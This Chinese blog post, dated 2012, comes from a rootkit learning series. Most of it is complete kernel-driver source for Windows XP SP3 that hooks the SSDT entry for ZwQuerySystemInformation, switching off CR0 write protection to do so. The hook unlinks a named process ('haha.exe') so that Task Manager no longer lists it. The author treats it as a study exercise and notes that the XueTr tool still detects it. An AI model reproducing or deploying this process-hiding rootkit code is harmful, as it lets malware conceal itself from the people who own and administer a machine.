Rootkit进程篇之进程隐藏 ( SSDT Hook QuerySystemInformation )

标 题: Rootkit进程篇之进程隐藏 QuerySystemInformation
作 者: Y4ng
时 间: 2012-07-11 18:30:26 星期三
链 接: http://www.cnblogs.com/Y4ng/archive/2012/07/11/2586812.html

rootkit 系列课程在断断续续的学习着,到今天也算一个小阶段因为驱动算是入门了;之前看张帆老师的《Windows驱动开发技术详解》感觉讲的太基础了,不太适合我这种急性子的人学,草草看完 事后和没看一样。。。

个人觉得毛德操的《windows内核情景分析》搭配网络上高手的文章来学比较适合我这种不按正规路线走的人;

下面是我学习rootkit系列之进程篇的一个小章节, 记录下来 一来可以备忘,二来可以帮助后来的初学者;

以下代码适用于:windows xp sp3

#include <ntddk.h>
///////////////////定义本地结构体//////////////////////////////////////////
struct _SYSTEM_THREADS 
{ 
    LARGE_INTEGER KernelTime; 
    LARGE_INTEGER UserTime; 
    LARGE_INTEGER CreateTime; 
    ULONG WaitTime; 
    PVOID StartAddress; 
    CLIENT_ID ClientIs; 
    KPRIORITY Priority; 
    KPRIORITY BasePriority; 
    ULONG ContextSwitchCount; 
    ULONG ThreadState; 
    KWAIT_REASON WaitReason; 
}; 

typedef struct _SYSTEM_PROCESSES 
{ 
    ULONG NextEntryDelta;
    ULONG ThreadCount; 
    ULONG Reserved[6]; 
    LARGE_INTEGER CreateTime; 
    LARGE_INTEGER UserTime; 
    LARGE_INTEGER KernelTime; 
    UNICODE_STRING ProcessName; 
    KPRIORITY BasePriority; 
    ULONG ProcessId; 
    ULONG InheritedFromProcessId; 
    ULONG HandleCount; 
    ULONG Reserved2[2]; 
    VM_COUNTERS VmCounters; 
    IO_COUNTERS IoCounters; 
    struct _SYSTEM_THREADS Threads[1]; 
}*PSYSTEM_PROCESS, SYSTEM_PROCESS; 


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
    IN ULONG SystemInformationClass, 
    IN PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength);


/////////////////定义ntoskrnl.exe的服务表结构////////////////////////////////////////////////
typedef struct _ServiceDescriptorEntry {  
    unsigned int *ServiceTableBase;
    unsigned int *ServiceCounterTableBase;
    unsigned int NumberOfServices;
    unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;

typedef struct _KESSDT
{
    PVOID ServiceTableBase;
    PVOID ServiceCounterTableBase;
    unsigned int NumberOfService;
    PVOID ParamTableBase;    
}ServiceDescriptorEntry, *PServiceDescriptorEntry;

__declspec (dllimport)ServiceDescriptorEntry KeServiceDescriptorTable;

#define QUERYSYSTEMINFORMATIONID 0xAD
#define SystemProcessAndThreadsInformation 5
// 变量定义
ZWQUERYSYSTEMINFORMATION OldQuerySystemInformation;

NTSTATUS MyZwQuerySystemInformation(IN ULONG SystemInformationClass, IN OUT PVOID SystemInformation, 
                                    IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
    PSYSTEM_PROCESS systemprocess;
    PSYSTEM_PROCESS prev;
    NTSTATUS status;
    UNICODE_STRING uprocessname;

    if (NULL == OldQuerySystemInformation)
    {
        return STATUS_UNSUCCESSFUL;
    }

    status = OldQuerySystemInformation(SystemInformationClass, SystemInformation,
        SystemInformationLength, ReturnLength);


    if (!NT_SUCCESS(status))
    {
        return status;
    }

    if (SystemProcessAndThreadsInformation != SystemInformationClass)
    {
        return status;
    }

    RtlInitUnicodeString(&uprocessname, L"haha.exe");
    systemprocess = (PSYSTEM_PROCESS)SystemInformation;
    prev = systemprocess;

    while(systemprocess->NextEntryDelta)
    {
        if (RtlEqualUnicodeString(&systemprocess->ProcessName, &uprocessname, TRUE))
        {
            //prev->NextEntryDelta = systemprocess + systemprocess->NextEntryDelta;
            prev->NextEntryDelta = prev->NextEntryDelta + systemprocess->NextEntryDelta;
            DbgPrint("Hide haha.exe Successful!\n");
            break;
        }

        prev = systemprocess;
        systemprocess = (PSYSTEM_PROCESS)((char*)systemprocess + systemprocess->NextEntryDelta);
    }

    return status;
}

NTSTATUS Unload(PDRIVER_OBJECT DriverObject)
{
    ULONG address = (ULONG)((char*)KeServiceDescriptorTable.ServiceTableBase + QUERYSYSTEMINFORMATIONID * 4);
    __asm
    {
        cli
        mov eax, cr0
        and eax, not 0x10000
        mov cr0, eax
    }

    *((ULONG*)address) = (ULONG)OldQuerySystemInformation;

    __asm
    {
        mov eax, cr0
        or eax, 0x10000
        mov cr0, eax
        sti
    }
    
    return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    ULONG address = (ULONG)((char*)KeServiceDescriptorTable.ServiceTableBase + QUERYSYSTEMINFORMATIONID * 4);
    OldQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)*((ULONG*)address);

    __asm
    {
        cli
        mov eax, cr0
        and eax, not 0x10000
        mov cr0, eax
    }
    
    *((ULONG*)address) = (ULONG*)MyZwQuerySystemInformation;

    __asm
    {
        mov eax, cr0
        or eax, 0x10000
        mov cr0, eax
        sti
    }
    
    DriverObject->DriverUnload = Unload;
    return STATUS_SUCCESS;
}

在windows自带的进程管理里面确实是隐藏了,但还是无法过 xuetr ,需要再接再厉!

代码参考连接并致谢以下同学:

http://hi.baidu.com/zzed1008/blog/item/a7827fef8561d4e8cf1b3e27.html

http://hi.baidu.com/sudami/item/41a9237e0db8c4356cc37c56

http://bbs.pediy.com/showthread.php?t=36742

posted @ 2012-07-11 18:49  Y4ng  阅读(2561)  评论(2编辑  收藏  举报